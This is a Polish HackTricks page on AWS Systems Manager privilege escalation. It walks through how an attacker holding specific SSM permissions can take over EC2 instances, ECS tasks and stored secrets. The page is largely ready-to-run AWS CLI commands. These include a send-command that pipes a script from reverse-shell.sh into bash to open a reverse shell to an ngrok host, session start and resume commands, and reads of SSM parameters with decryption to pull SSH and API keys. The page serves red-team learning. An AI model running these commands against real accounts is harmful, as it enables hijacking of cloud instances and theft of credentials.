AWS - SSM Privesc

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

SSM

Aby uzyskać więcej informacji na temat SSM, sprawdź:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Atakujący posiadający uprawnienie ssm:SendCommand może wykonywać polecenia na instancjach działających z agentem Amazon SSM i zagrozić roli IAM działającej wewnątrz niej.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

W przypadku korzystania z tej techniki do eskalacji uprawnień w już skompromitowanej instancji EC2, możesz po prostu przechwycić rev shell lokalnie za pomocą:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potencjalne skutki: Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do uruchomionych instancji z działającymi agentami SSM.

ssm:StartSession

Atakujący posiadający uprawnienia ssm:StartSession może rozpocząć sesję przypominającą SSH na instancjach działających z agentem Amazon SSM i naruszyć rolę IAM działającą wewnątrz niej.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Aby rozpocząć sesję, musisz zainstalować SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do uruchomionych instancji z działającymi agentami SSM.

Podniesienie uprawnień do ECS

Kiedy zadania ECS są uruchamiane z włączonym ExecuteCommand, użytkownicy z wystarczającymi uprawnieniami mogą użyć ecs execute-command do wykonania polecenia wewnątrz kontenera. Zgodnie z dokumentacją jest to realizowane poprzez utworzenie bezpiecznego kanału między urządzeniem, z którego rozpoczynasz polecenie „exec“, a docelowym kontenerem z menedżerem sesji SSM. Dlatego użytkownicy posiadający ssm:StartSession będą mogli uzyskać dostęp do powłoki w zadaniach ECS z tą opcją włączoną, uruchamiając po prostu:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do ról ECSIAM przypisanych do uruchomionych zadań z włączoną opcją ExecuteCommand.

ssm:ResumeSession

Atakujący posiadający uprawnienia ssm:ResumeSession może ponownie uruchomić sesję przypominającą SSH na instancjach działających z agentem Amazon SSM w stanie rozłączonej sesji SSM i naruszyć rolę IAM działającą wewnątrz niej.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potencjalny wpływ: Bezpośrednie podniesienie uprawnień do ról IAM EC2 przypisanych do uruchomionych instancji z działającymi agentami SSM i rozłączonymi sesjami.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Atakujący posiadający wymienione uprawnienia będzie mógł wyświetlać parametry SSM i czytać je w formie tekstu jawnego. W tych parametrach można często znaleźć poufne informacje takie jak klucze SSH lub klucze API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potencjalne skutki: Znalezienie wrażliwych informacji wewnątrz parametrów.

ssm:ListCommands

Atakujący posiadający to uprawnienie może wyświetlić wszystkie polecenia wysłane i mieć nadzieję znaleźć na nich wrażliwe informacje.

aws ssm list-commands

Potencjalne skutki: Znalezienie wrażliwych informacji w wierszach poleceń.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Atakujący posiadający te uprawnienia może wyświetlić wszystkie polecenia wysłane i odczytać wynik generowany, miejmy nadzieję znajdując na nim wrażliwe informacje.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potencjalny wpływ: Znalezienie wrażliwych informacji w wynikach poleceń.

Codebuild

Możesz również użyć SSM, aby uzyskać dostęp do projektu codebuild w trakcie budowy:

pageAWS - Codebuild Privesc
Zacznij hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated